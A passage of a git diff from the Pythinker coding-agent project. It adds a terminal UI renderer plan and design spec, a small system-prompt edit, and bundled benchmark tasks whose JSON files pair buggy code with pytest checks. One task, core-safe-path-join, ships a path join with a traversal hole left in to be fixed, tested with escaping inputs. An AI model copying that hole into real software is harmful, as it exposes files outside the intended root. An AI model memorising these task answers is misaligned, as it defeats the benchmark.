RenderScheduler: + request_invalidate: Callable[[], None] + min_interval_seconds: float = 1 / 30 + _last_render_request: float | None = None + + def request_render(self, now: float | None = None) -> bool: + current = time.monotonic() if now is None else now + if ( + self._last_render_request is not None + and current - self._last_render_request < self.min_interval_seconds + ): + return False + self._last_render_request = current + self.request_invalidate() + return True +``` + +Update `__init__.py` to export `RenderScheduler`. + +- [ ] **Step 4: Run scheduler tests** + +Run `uv run pytest tests/ui_and_conv/test_tui_renderer.py -q`. + +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add src/pythinker_code/ui/shell/tui tests/ui_and_conv/test_tui_renderer.py +git commit -m "feat(tui): coalesce render invalidations" +``` + +--- + +### Task 4: Running agent scene composition + +**Files:** +- Create: `src/pythinker_code/ui/shell/tui/scene.py` +- Modify: `src/pythinker_code/ui/shell/tui/__init__.py` +- Test: `tests/ui_and_conv/test_tui_renderer.py` + +**Interfaces:** +- Produces: `RunningPromptScene(body: str, top_border: str, prompt_symbol: str, placeholder: str = "")` with `render(width: int) -> list[str]`. +- Later prompt integration consumes `RunningPromptScene` for one stable scene. + +- [ ] **Step 1: Add failing scene tests** + +Append: + +```python +from pythinker_code.ui.shell.tui import RunningPromptScene + + +def test_running_prompt_scene_keeps_input_card_after_stream_body() -> None: + scene = RunningPromptScene(body="streaming\ntext", top_border="──────── ● off", prompt_symbol="❯") + + assert scene.render(16) == [ + "streaming ", + "text ", + "──────── ● off ", + " ❯ ", + ] + + +def test_running_prompt_scene_keeps_card_when_body_empty() -> None: + scene = RunningPromptScene(body="", top_border="──────── ● off", prompt_symbol="❯") + + assert scene.render(16) == ["──────── ● off ", " ❯ "] +``` + +- [ ] **Step 2: Run tests to verify failure** + +Run `uv run pytest tests/ui_and_conv/test_tui_renderer.py -q`. + +Expected: FAIL importing `RunningPromptScene`. + +- [ ] **Step 3: Implement scene** + +Create `src/pythinker_code/ui/shell/tui/scene.py`: + +```python +from __future__ import annotations + +from dataclasses import dataclass + +from pythinker_code.ui.shell.tui.width import pad_line + + +@dataclass(frozen=True) +class RunningPromptScene: + body: str + top_border: str + prompt_symbol: str + placeholder: str = "" + + def render(self, width: int) -> list[str]: + lines: list[str] = [] + for line in self.body.splitlines(): + if line: + lines.append(pad_line(line, width)) + lines.append(pad_line(self.top_border, width)) + prompt_line = f" {self.prompt_symbol} {self.placeholder}".rstrip() + lines.append(pad_line(prompt_line, width)) + return lines +``` + +Update `__init__.py` to export `RunningPromptScene`. + +- [ ] **Step 4: Run scene tests** + +Run `uv run pytest tests/ui_and_conv/test_tui_renderer.py -q`. + +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add src/pythinker_code/ui/shell/tui tests/ui_and_conv/test_tui_renderer.py +git commit -m "feat(tui): compose running prompt scene" +``` + +--- + +### Task 5: Prompt integration for scene-rendered running frames + +**Files:** +- Modify: `src/pythinker_code/ui/shell/prompt.py` +- Modify: `src/pythinker_code/ui/shell/visualize/_interactive.py` +- Test: `tests/ui_and_conv/test_visualize_running_prompt.py` + +**Interfaces:** +- Consumes: `RunningPromptScene.render(width: int) -> list[str]`. +- Produces: running prompt frames where body/status and input-card chrome are one stable scene. + +- [ ] **Step 1: Add failing integration test** + +Add to `tests/ui_and_conv/test_visualize_running_prompt.py` near the existing running prompt card tests: + +```python +def test_render_agent_prompt_message_uses_scene_order_for_stream_and_input_card(monkeypatch) -> None: + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + import pythinker_code.ui.shell.prompt as prompt_module + from pythinker_code.ui.shell.prompt import PROMPT_SYMBOL_AGENT_INPUT + + border = "──────── ● off" + session = _card_session(delegate=_body_delegate("assistant chunk")) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"assistant chunk\n{border}\n {PROMPT_SYMBOL_AGENT_INPUT} " +``` + +If `_body_delegate` does not exist in the test file, add this helper near `_hiding_delegate`: + +```python +def _body_delegate(body: str): + class _Delegate: + def render_running_prompt_body(self, columns: int) -> str: + return body + + def running_prompt_placeholder(self) -> None: + return None + + def running_prompt_allows_text_input(self) -> bool: + return False + + def running_prompt_hides_input_buffer(self) -> bool: + return True + + def running_prompt_accepts_submission(self) -> bool: + return False + + def should_handle_running_prompt_key(self, key: str) -> bool: + return False + + def handle_running_prompt_key(self, key: str, event) -> None: # noqa: ANN001 + raise AssertionError("not expected") + + return _Delegate() +``` + +- [ ] **Step 2: Run test to verify failure** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_visualize_running_prompt.py::test_render_agent_prompt_message_uses_scene_order_for_stream_and_input_card -q +``` + +Expected: FAIL until prompt rendering uses the scene path. + +- [ ] **Step 3: Implement prompt scene bridge** + +In `src/pythinker_code/ui/shell/prompt.py`, import: + +```python +from pythinker_code.ui.shell.tui import RunningPromptScene +``` + +In `_render_agent_prompt_message`, replace only the running-prompt/card-style body assembly branch with: + +```python +body_text = fragment_list_to_text(self._render_running_prompt_body(width)) +top_border = fragment_list_to_text(self._render_input_top_border(width, focused=False)).rstrip("\n") +scene = RunningPromptScene( + body=body_text, + top_border=top_border, + prompt_symbol=PROMPT_SYMBOL_AGENT_INPUT, + placeholder=fragment_list_to_text(self._running_prompt_placeholder() or FormattedText()).strip(), +) +for index, line in enumerate(scene.render(width)): + if index: + fragments.append(("", "\n")) + fragments.append(("", line.rstrip())) +``` + +Use the existing helper names if they differ. Do not change keyboard handling, modal routing, approval behavior, or prompt buffer mutation. + +In `_interactive.py`, keep: + +```python +def running_prompt_hide_input_card_chrome(self) -> bool: + # NEVER hide this chrome: the prompt card is a stable, always-mounted surface + # so users always see the input area during agent runs. + return False +``` + +- [ ] **Step 4: Run integration tests** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_visualize_running_prompt.py -q +``` + +Expected: PASS. + +- [ ] **Step 5: Commit** + +```bash +git add src/pythinker_code/ui/shell/prompt.py src/pythinker_code/ui/shell/visualize/_interactive.py tests/ui_and_conv/test_visualize_running_prompt.py +git commit -m "feat(tui): render running prompt as stable scene" +``` + +--- + +### Task 6: Changelog and PTY regression + +**Files:** +- Modify: `CHANGELOG.md` +- Modify: `tests/e2e/test_shell_pty_prompt_layout_e2e.py` + +**Interfaces:** +- Consumes: scene-rendered running prompt behavior from Task 5. +- Produces: user-facing release note and PTY coverage. + +- [ ] **Step 1: Add changelog bullet** + +Under `## Unreleased` in `CHANGELOG.md`, add: + +```markdown +- Ported the running agent TUI toward Pi's stable diff-rendered scene model so streamed output keeps the input card visible without prompt jumps. +``` + +- [ ] **Step 2: Add PTY assertion** + +In `tests/e2e/test_shell_pty_prompt_layout_e2e.py`, extend the existing running prompt layout test to assert the captured frame contains exactly one prompt marker row while streaming: + +```python +assert output.count("❯") == 1 +assert "────────" in output +``` + +Use the test file's existing captured output variable name. + +- [ ] **Step 3: Run PTY test** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/e2e/test_shell_pty_prompt_layout_e2e.py -q +``` + +Expected: PASS or documented skip if PTY support is unavailable. + +- [ ] **Step 4: Run focused suite and package check** + +Run: + +```bash +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && uv run pytest tests/ui_and_conv/test_tui_renderer.py tests/ui_and_conv/test_visualize_running_prompt.py tests/e2e/test_shell_pty_prompt_layout_e2e.py -q +source ~/miniforge3/etc/profile.d/conda.sh && conda activate pythinker && make check-pythinker-code +``` + +Expected: all tests pass and `All checks passed!`. + +- [ ] **Step 5: Commit** + +```bash +git add CHANGELOG.md tests/e2e/test_shell_pty_prompt_layout_e2e.py +git commit -m "test(tui): cover stable streaming prompt scene" +``` + +--- + +## Self-Review + +- Spec coverage: component tree, diff planner, synchronized output wrapper, coalesced invalidation, scene composition, prompt-card visibility, PTY regression, and changelog are covered. +- Placeholder scan: no `TBD`, `TODO`, or unspecified implementation steps remain. +- Type consistency: exported names in `__init__.py` match the task interfaces: `Text`, `Spacer`, `Container`, `Box`, `LinePatch`, `plan_line_diff`, `synchronized_output`, `RenderScheduler`, `RunningPromptScene`. +- Intentional simplification: the first pass ports Pi's renderer model into Pythinker as a Python-native scene and diff layer, but only wires the running agent prompt path. Other shell surfaces can move to the renderer later if this path proves stable. diff --git a/docs/superpowers/specs/2026-07-05-full-pi-tui-renderer-port-design.md b/docs/superpowers/specs/2026-07-05-full-pi-tui-renderer-port-design.md new file mode 100644 index 00000000..81160b1c --- /dev/null +++ b/docs/superpowers/specs/2026-07-05-full-pi-tui-renderer-port-design.md @@ -0,0 +1,62 @@ +# Full Pi TUI Renderer Port Design + +## Goal +Port the core `@earendil-works/pi-tui` diff-renderer model from `blackbox/pi-main` into Pythinker’s agent TUI so streaming output, tool cards, status, and the input card are rendered as one stable, always-mounted terminal scene. + +## Source behavior to preserve +- One root TUI tree owns the full visible terminal scene. +- Streaming assistant text updates an existing message/card instead of clearing and repainting scrollback. +- Tool execution cards stay mounted and mutate pending/running/done state in place. +- The prompt/input card stays visible at the bottom during agent runs. +- Rendering is diffed and coalesced to avoid terminal jump, flicker, and stale prompt fossils. + +## Scope +Implement a Python-native renderer layer in Pythinker. Do not add a Node runtime or vendor the TypeScript package. Port the useful concepts and small algorithms only: + +- `Component` protocol with `render(width) -> list[str]` and `invalidate()`. +- `Container`, `Text`, `Spacer`, and `Box` primitives. +- A `DiffRenderer` that tracks previous rendered lines and writes only changed terminal regions. +- A scheduler that coalesces render requests during token streaming. +- Shell integration path for agent-running mode first. + +## Non-goals +- No wholesale visual redesign. +- No new third-party dependency. +- No full markdown renderer rewrite unless an existing Pythinker markdown path cannot support stable streaming. +- No replacement of prompt-toolkit input editing in the first pass. +- No unrelated focus-mode/sidebar changes. + +## Architecture +Add a small Python renderer package under `src/pythinker_code/ui/shell/tui/`: + +- `components.py`: component protocol and primitives. +- `diff.py`: line diff planning and terminal write helpers. +- `scene.py`: root scene composition for assistant stream, tool cards, status line, and prompt card. +- `scheduler.py`: render coalescing and invalidate/request-render boundary. + +Existing prompt/session code will build a scene from current live-view state. The input card remains rendered by Pythinker’s existing prompt-card helpers, but it becomes a stable component in the scene instead of a surface that can be hidden during streaming. + +## Data flow +1. Wire events update `_PromptLiveView` state as they do today. +2. The live view invalidates the TUI scene instead of forcing scrollback handoffs for every streaming update. +3. The scene renders to lines. +4. The diff renderer compares the new lines with the previous frame and writes only changed spans. +5. Final turn completion flushes stable assistant/tool content into scrollback exactly once. + +## Failure handling +- If diff rendering fails, fall back to the existing safe full redraw path for that frame and log debug context without secrets. +- If terminal size is unknown, render at the current prompt-toolkit width. +- On resize, invalidate all cached component output and force one full-frame redraw. +- On interrupt/cancel, dispose pending timers/spinners and render the final stopped state before returning input control. + +## Testing +- Unit tests for diff planning: insert, delete, modify, shrink, grow, empty frames, and width changes. +- Component tests for `Text`, `Spacer`, `Box`, and nested `Container` output. +- Regression tests that the prompt card remains visible during streaming, tool execution, scrollback handoff, and turn completion. +- PTY/e2e smoke test for no duplicated prompt marker and no missing input card during a running agent frame. + +## Rollout +1. Land renderer primitives and tests without wiring them into the running shell. +2. Add scene composition behind an internal feature flag/default-off config. +3. Wire agent-running frames to the scene. +4. Flip default after focused prompt-layout and PTY tests pass. diff --git a/pyproject.toml b/pyproject.toml index 7d539714..fe8469d8 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,6 +76,10 @@ dev = [ "pytest>=9.0.3", "pytest-asyncio>=1.3.0", "pytest-cov>=6.0", + # Pure-Python VT100/xterm emulator: PTY UI tests feed raw terminal bytes to + # a virtual screen so they can assert on the *rendered* frame (catching + # incomplete-erase "ghost" rows), not just the byte stream. + "pyte>=0.8.2", # Pinned: ruff 0.15's formatter reflow fails `make check`. Unpin once the # formatting churn is resolved. Mirrored as a Dependabot ignore in # .github/dependabot.yml. diff --git a/src/pythinker_code/agents/default/system.md b/src/pythinker_code/agents/default/system.md index 8cd8b663..2700c2f2 100644 --- a/src/pythinker_code/agents/default/system.md +++ b/src/pythinker_code/agents/default/system.md @@ -127,7 +127,7 @@ Default to `ImplementAndJudge` for non-trivial scoped edits (see Β§4.4); reserve **Background shell** (root agent only). Launch long-running commands via `Shell` with `run_in_background=true` and a short `description`; the system notifies you at terminal states. `TaskList` re-enumerates active tasks (especially after context compaction); `TaskOutput` gives non-blocking snapshots (`block=true` only to intentionally wait); `TaskStop` cancels. After starting a background task, default to returning control to the user. The only task-management slash command for users is `/task` β€” never invent subcommands like `/task list` or `/tasks`. Subagents and sessions without these tools must not assume background-task control. -**Skills (`ReadSkill`).** Load a skill's exact instructions before applying its workflow β€” mandatory for `review-pr`, `diagnose-ci-failures`, `fix-errors`, `implement-specs`, `spec-driven-implementation`, `check-impl-against-spec`, `resolve-merge-conflicts`, and `create-pr`. Read skill details only when needed, to conserve context. Catalog and scope precedence in Β§12. +**Skills (`ReadSkill`).** Load a skill's exact instructions before applying its workflow β€” mandatory for `review-pr`, `diagnose-ci-failures`, `fix-errors`, `implement-specs`, `spec-driven-implementation`, `check-impl-against-spec`, `resolve-merge-conflicts`, and `create-pr`. If the user explicitly invokes or names a skill as an active mode, keep applying that loaded skill until they ask to stop it or return to normal mode. Read skill details only when needed, to conserve context. Catalog and scope precedence in Β§12. **Inline `/command` references.** Slash commands execute only as their own message starting with `/`. A `/command` or `/skill:` mentioned mid-message did not auto-run, but it still expresses intent β€” act on it rather than leading your reply by reporting it as failed. For `/plan`, call `EnterPlanMode` (a real tool in your toolset, not just prose); for `/goal`, pursue the described objective until it is verifiably done; for `/skill:`, load it via `ReadSkill` and apply it; for other guidance commands, apply the equivalent guidance yourself. Mention invoking the real command only when genuinely needed. Never silently drop such a reference. @@ -259,4 +259,4 @@ Skills are reusable, self-contained capability directories, each with a `SKILL.m ${PYTHINKER_SKILLS} -Identify the skills relevant to the current task and read their `SKILL.md` before applying the workflow (Β§5). If a skill `` has a companion `-local`, treat it as local project specialization applied after the core skill. Read skill details only when needed, to conserve the context window. \ No newline at end of file +Identify the skills relevant to the current task and read their `SKILL.md` before applying the workflow (Β§5). If a skill `` has a companion `-local`, treat it as local project specialization applied after the core skill. Read skill details only when needed, to conserve the context window. diff --git a/src/pythinker_code/benchmark/__init__.py b/src/pythinker_code/benchmark/__init__.py new file mode 100644 index 00000000..71cc4713 --- /dev/null +++ b/src/pythinker_code/benchmark/__init__.py @@ -0,0 +1,5 @@ +"""Native Pythinker Benchmark support.""" + +from pythinker_code.benchmark.commands import benchmark_usage + +__all__ = ["benchmark_usage"] diff --git a/src/pythinker_code/benchmark/activity.py b/src/pythinker_code/benchmark/activity.py new file mode 100644 index 00000000..b200e489 --- /dev/null +++ b/src/pythinker_code/benchmark/activity.py @@ -0,0 +1,88 @@ +from __future__ import annotations + +import difflib +import json +from collections.abc import Mapping +from pathlib import Path +from typing import cast + + +def summarize_benchmark_activity( + before: Mapping[str, str], + after: Mapping[str, str], + wire_file: Path, + wire_offset: int, +) -> dict[str, object]: + added, removed = _changed_line_counts(before, after) + tool_calls_by_name = _tool_calls_by_name(wire_file, wire_offset) + shell_tool_calls = sum( + count for name, count in tool_calls_by_name.items() if name.casefold() in {"bash", "shell"} + ) + return { + "changed_files_count": len(_changed_file_names(before, after)), + "added_lines": added, + "removed_lines": removed, + "tool_calls_by_name": dict(sorted(tool_calls_by_name.items())), + "shell_tool_calls": shell_tool_calls, + } + + +def _changed_file_names(before: Mapping[str, str], after: Mapping[str, str]) -> set[str]: + names = set(before) | set(after) + return {name for name in names if before.get(name) != after.get(name)} + + +def _changed_line_counts(before: Mapping[str, str], after: Mapping[str, str]) -> tuple[int, int]: + added = 0 + removed = 0 + for name in sorted(_changed_file_names(before, after)): + diff = difflib.ndiff( + before.get(name, "").splitlines(), + after.get(name, "").splitlines(), + ) + for line in diff: + if line.startswith("+ "): + added += 1 + elif line.startswith("- "): + removed += 1 + return added, removed + + +def _tool_calls_by_name(wire_file: Path, offset: int) -> dict[str, int]: + counts: dict[str, int] = {} + if not wire_file.exists(): + return counts + try: + with wire_file.open("r", encoding="utf-8", errors="replace") as f: + f.seek(offset) + for line in f: + try: + raw: object = json.loads(line) + except json.JSONDecodeError: + continue + if not isinstance(raw, dict): + continue + message = cast(dict[str, object], raw).get("message") + if not isinstance(message, dict): + continue + message_data = cast(dict[str, object], message) + if message_data.get("type") != "ToolCall": + continue + payload = message_data.get("payload") + if not isinstance(payload, dict): + continue + name = _tool_name(cast(dict[str, object], payload)) + if isinstance(name, str) and name: + counts[name] = counts.get(name, 0) + 1 + except OSError: + return {} + return counts + + +def _tool_name(payload: Mapping[str, object]) -> str | None: + function = payload.get("function") + if isinstance(function, dict): + name = cast(dict[str, object], function).get("name") + return name if isinstance(name, str) else None + legacy_name = payload.get("name") + return legacy_name if isinstance(legacy_name, str) else None diff --git a/src/pythinker_code/benchmark/bundled/__init__.py b/src/pythinker_code/benchmark/bundled/__init__.py new file mode 100644 index 00000000..49d15782 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/__init__.py @@ -0,0 +1 @@ +"""Bundled benchmark definitions.""" diff --git a/src/pythinker_code/benchmark/bundled/suites/__init__.py b/src/pythinker_code/benchmark/bundled/suites/__init__.py new file mode 100644 index 00000000..a86eaf30 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/suites/__init__.py @@ -0,0 +1 @@ +"""Bundled benchmark suites.""" diff --git a/src/pythinker_code/benchmark/bundled/suites/pythinker-core.json b/src/pythinker_code/benchmark/bundled/suites/pythinker-core.json new file mode 100644 index 00000000..358ca9c0 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/suites/pythinker-core.json @@ -0,0 +1,11 @@ +{ + "name": "pythinker-core", + "title": "Pythinker Core Suite", + "description": "Deterministic local coding tasks covering common agent benchmark failure modes.", + "tasks": [ + "core-atomic-transfer", + "core-dedup-order", + "core-explicit-none-metadata", + "core-safe-path-join" + ] +} diff --git a/src/pythinker_code/benchmark/bundled/suites/pythinker-smoke.json b/src/pythinker_code/benchmark/bundled/suites/pythinker-smoke.json new file mode 100644 index 00000000..3c77444b --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/suites/pythinker-smoke.json @@ -0,0 +1,10 @@ +{ + "name": "pythinker-smoke", + "title": "Pythinker Smoke Suite", + "description": "Small deterministic tasks for validating the native benchmark runner.", + "tasks": [ + "smoke-edit-readme", + "smoke-fix-python-test", + "smoke-add-small-function" + ] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/__init__.py b/src/pythinker_code/benchmark/bundled/tasks/__init__.py new file mode 100644 index 00000000..d4fba8b8 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/__init__.py @@ -0,0 +1 @@ +"""Bundled benchmark tasks.""" diff --git a/src/pythinker_code/benchmark/bundled/tasks/core-atomic-transfer.json b/src/pythinker_code/benchmark/bundled/tasks/core-atomic-transfer.json new file mode 100644 index 00000000..e839d7ec --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/core-atomic-transfer.json @@ -0,0 +1,21 @@ +{ + "id": "core-atomic-transfer", + "title": "Atomic Ledger Transfer", + "description": "Fix a money-transfer bug without leaving partial state behind.", + "prompt": "Fix ledger.py. Ledger.transfer(src, dst, amount) must move funds atomically: reject missing source accounts, missing destination accounts, non-positive amounts, and insufficient funds without changing any balance. Keep the public API minimal.", + "workspace": { + "files": { + "ledger.py": "class Ledger:\n def __init__(self, balances):\n self.balances = dict(balances)\n\n def transfer(self, src, dst, amount):\n self.balances[src] -= amount\n if self.balances[src] < 0:\n raise ValueError('insufficient funds')\n self.balances[dst] += amount\n", + "test_ledger.py": "import pytest\n\nfrom ledger import Ledger\n\n\ndef test_transfer_moves_funds():\n ledger = Ledger({'a': 10, 'b': 1})\n ledger.transfer('a', 'b', 4)\n assert ledger.balances == {'a': 6, 'b': 5}\n\n\ndef test_insufficient_funds_rolls_back():\n ledger = Ledger({'a': 3, 'b': 1})\n with pytest.raises(ValueError):\n ledger.transfer('a', 'b', 5)\n assert ledger.balances == {'a': 3, 'b': 1}\n\n\ndef test_missing_destination_does_not_create_accounts():\n ledger = Ledger({'a': 3})\n with pytest.raises((KeyError, ValueError)):\n ledger.transfer('a', 'missing', 1)\n assert ledger.balances == {'a': 3}\n\n\ndef test_missing_source_rolls_back():\n ledger = Ledger({'a': 3, 'b': 1})\n with pytest.raises((KeyError, ValueError)):\n ledger.transfer('missing', 'b', 1)\n assert ledger.balances == {'a': 3, 'b': 1}\n\n\n@pytest.mark.parametrize('amount', [0, -1])\ndef test_non_positive_amount_rejected(amount):\n ledger = Ledger({'a': 3, 'b': 1})\n with pytest.raises(ValueError):\n ledger.transfer('a', 'b', amount)\n assert ledger.balances == {'a': 3, 'b': 1}\n\n\ndef test_non_positive_amount_checked_before_accounts():\n ledger = Ledger({'a': 3, 'b': 1})\n with pytest.raises(ValueError):\n ledger.transfer('missing', 'b', -1)\n assert ledger.balances == {'a': 3, 'b': 1}\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_ledger.py -q" + }, + "limits": { + "timeout_seconds": 180, + "max_steps": 60 + }, + "tags": ["core", "python", "state", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/core-dedup-order.json b/src/pythinker_code/benchmark/bundled/tasks/core-dedup-order.json new file mode 100644 index 00000000..6f693f67 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/core-dedup-order.json @@ -0,0 +1,21 @@ +{ + "id": "core-dedup-order", + "title": "Stable Deduplication", + "description": "Preserve first-seen order while removing duplicates.", + "prompt": "Fix seqkit.py. unique(items) must return unique values from any iterable in first-seen order. It must support unhashable values such as dictionaries and must not mutate the input.", + "workspace": { + "files": { + "seqkit.py": "def unique(items):\n return sorted(set(items))\n", + "test_seqkit.py": "from seqkit import unique\n\n\ndef test_unique_preserves_first_seen_order():\n assert unique(['b', 'a', 'b', 'c', 'a']) == ['b', 'a', 'c']\n\n\ndef test_unique_supports_unhashable_dicts():\n first = {'id': 1, 'name': 'first'}\n duplicate = {'id': 1, 'name': 'first'}\n second = {'id': 2, 'name': 'second'}\n assert unique([first, duplicate, second, first]) == [first, second]\n\n\ndef test_unique_does_not_mutate_input():\n values = ['b', 'a', 'b']\n assert unique(values) == ['b', 'a']\n assert values == ['b', 'a', 'b']\n\n\ndef test_unique_accepts_generators():\n assert unique(x for x in ['a', 'a', 'b']) == ['a', 'b']\n\n\ndef test_unique_keeps_falsey_values_distinct():\n assert unique([0, False, '', None, 0, None]) == [0, '', None]\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_seqkit.py -q" + }, + "limits": { + "timeout_seconds": 180, + "max_steps": 60 + }, + "tags": ["core", "python", "algorithm", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/core-explicit-none-metadata.json b/src/pythinker_code/benchmark/bundled/tasks/core-explicit-none-metadata.json new file mode 100644 index 00000000..71160c1b --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/core-explicit-none-metadata.json @@ -0,0 +1,21 @@ +{ + "id": "core-explicit-none-metadata", + "title": "Explicit None Metadata", + "description": "Distinguish omitted metadata from explicit None.", + "prompt": "Fix metadata.py. build_driver_info must distinguish omitted name/version from explicitly passing None: omitted fields use defaults, explicit None suppresses that field, and if both are explicitly None the result is empty. Other explicit falsey values, such as empty string, False, or 0, must be preserved.", + "workspace": { + "files": { + "metadata.py": "DEFAULT_NAME = 'pythinker-client'\nDEFAULT_VERSION = '1.0'\n\n\ndef build_driver_info(name=None, version=None):\n return {\n 'name': name or DEFAULT_NAME,\n 'version': version or DEFAULT_VERSION,\n }\n", + "test_metadata.py": "from metadata import build_driver_info\n\n\ndef test_omitted_fields_use_defaults():\n assert build_driver_info() == {'name': 'pythinker-client', 'version': '1.0'}\n\n\ndef test_explicit_none_suppresses_one_field():\n assert build_driver_info(name=None) == {'version': '1.0'}\n assert build_driver_info(version=None) == {'name': 'pythinker-client'}\n\n\ndef test_explicit_none_for_both_fields_returns_empty_metadata():\n assert build_driver_info(name=None, version=None) == {}\n\n\ndef test_explicit_values_are_used():\n assert build_driver_info(name='wrapper', version='2.5') == {'name': 'wrapper', 'version': '2.5'}\n\n\ndef test_falsey_explicit_values_are_preserved():\n assert build_driver_info(name='', version='0') == {'name': '', 'version': '0'}\n assert build_driver_info(name=False, version=0) == {'name': False, 'version': 0}\n assert build_driver_info(name=None, version='') == {'version': ''}\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_metadata.py -q" + }, + "limits": { + "timeout_seconds": 180, + "max_steps": 60 + }, + "tags": ["core", "python", "api-semantics", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/core-safe-path-join.json b/src/pythinker_code/benchmark/bundled/tasks/core-safe-path-join.json new file mode 100644 index 00000000..5a21e850 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/core-safe-path-join.json @@ -0,0 +1,21 @@ +{ + "id": "core-safe-path-join", + "title": "Safe Path Join", + "description": "Reject path traversal while keeping normal relative paths usable.", + "prompt": "Fix paths.py. safe_join(root, user_path) must return a Path inside root for normal relative paths, and reject absolute paths, sibling-prefix paths, parent traversal, or symlink traversal outside root with ValueError.", + "workspace": { + "files": { + "paths.py": "from pathlib import Path\n\n\ndef safe_join(root, user_path):\n return Path(root) / user_path\n", + "test_paths.py": "from pathlib import Path\n\nimport pytest\n\nfrom paths import safe_join\n\n\ndef test_safe_join_allows_nested_relative_path(tmp_path):\n root = tmp_path / 'root'\n root.mkdir()\n assert safe_join(root, 'logs/app.txt') == root.resolve() / 'logs/app.txt'\n\n\ndef test_safe_join_allows_root_relative_path(tmp_path):\n root = tmp_path / 'root'\n root.mkdir()\n assert safe_join(root, '.') == root.resolve()\n\n\ndef test_safe_join_rejects_parent_traversal(tmp_path):\n root = tmp_path / 'root'\n root.mkdir()\n with pytest.raises(ValueError):\n safe_join(root, '../secret.txt')\n\n\ndef test_safe_join_rejects_absolute_path(tmp_path):\n root = tmp_path / 'root'\n root.mkdir()\n with pytest.raises(ValueError):\n safe_join(root, Path('/tmp/secret.txt'))\n\n\ndef test_safe_join_rejects_sibling_prefix_absolute_path(tmp_path):\n root = tmp_path / 'root'\n sibling = tmp_path / 'root-sibling'\n root.mkdir()\n sibling.mkdir()\n with pytest.raises(ValueError):\n safe_join(root, sibling / 'secret.txt')\n\n\ndef test_safe_join_rejects_symlink_escape(tmp_path):\n root = tmp_path / 'root'\n outside = tmp_path / 'outside'\n root.mkdir()\n outside.mkdir()\n link = root / 'link'\n try:\n link.symlink_to(outside, target_is_directory=True)\n except OSError:\n pytest.skip('symlinks unavailable')\n with pytest.raises(ValueError):\n safe_join(root, 'link/secret.txt')\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_paths.py -q" + }, + "limits": { + "timeout_seconds": 180, + "max_steps": 60 + }, + "tags": ["core", "python", "security", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/smoke-add-small-function.json b/src/pythinker_code/benchmark/bundled/tasks/smoke-add-small-function.json new file mode 100644 index 00000000..5d403f62 --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/smoke-add-small-function.json @@ -0,0 +1,21 @@ +{ + "id": "smoke-add-small-function", + "title": "Add Small Function", + "description": "Add a tiny function required by a deterministic check.", + "prompt": "Add a slugify(text) function to strings.py. It should lowercase text, strip leading/trailing whitespace, and replace spaces with hyphens.", + "workspace": { + "files": { + "strings.py": "", + "test_strings.py": "from strings import slugify\n\n\ndef test_slugify():\n assert slugify(' Hello Benchmark ') == 'hello-benchmark'\n" + } + }, + "verification": { + "type": "command", + "command": "python -m pytest test_strings.py -q" + }, + "limits": { + "timeout_seconds": 120, + "max_steps": 30 + }, + "tags": ["smoke", "offline", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/smoke-edit-readme.json b/src/pythinker_code/benchmark/bundled/tasks/smoke-edit-readme.json new file mode 100644 index 00000000..4f1e5c3b --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/smoke-edit-readme.json @@ -0,0 +1,20 @@ +{ + "id": "smoke-edit-readme", + "title": "Edit README", + "description": "Update a README with a requested sentence.", + "prompt": "Update README.md to include a short sentence explaining that this project is used for a Pythinker benchmark smoke test.", + "workspace": { + "files": { + "README.md": "# Example Project\n\n" + } + }, + "verification": { + "type": "command", + "command": "python - <<'PY'\nfrom pathlib import Path\ntext = Path('README.md').read_text(encoding='utf-8')\nassert 'Pythinker benchmark smoke test' in text\nPY" + }, + "limits": { + "timeout_seconds": 120, + "max_steps": 30 + }, + "tags": ["smoke", "offline", "deterministic"] +} diff --git a/src/pythinker_code/benchmark/bundled/tasks/smoke-fix-python-test.json b/src/pythinker_code/benchmark/bundled/tasks/smoke-fix-python-test.json new file mode 100644 index 00000000..4266addd --- /dev/null +++ b/src/pythinker_code/benchmark/bundled/tasks/smoke-fix-python-test.json @@ -0,0 +1,21 @@ +{ + "id": "smoke-fix-python-test", + "title": "Fix Python Test", + "description": "Fix a small Python function so the included test passes.", + "prompt": "Fix calc.py so python -m pytest test_calc.py passes. Keep the change minimal.", + "workspace": { + "files": { + "calc.py": 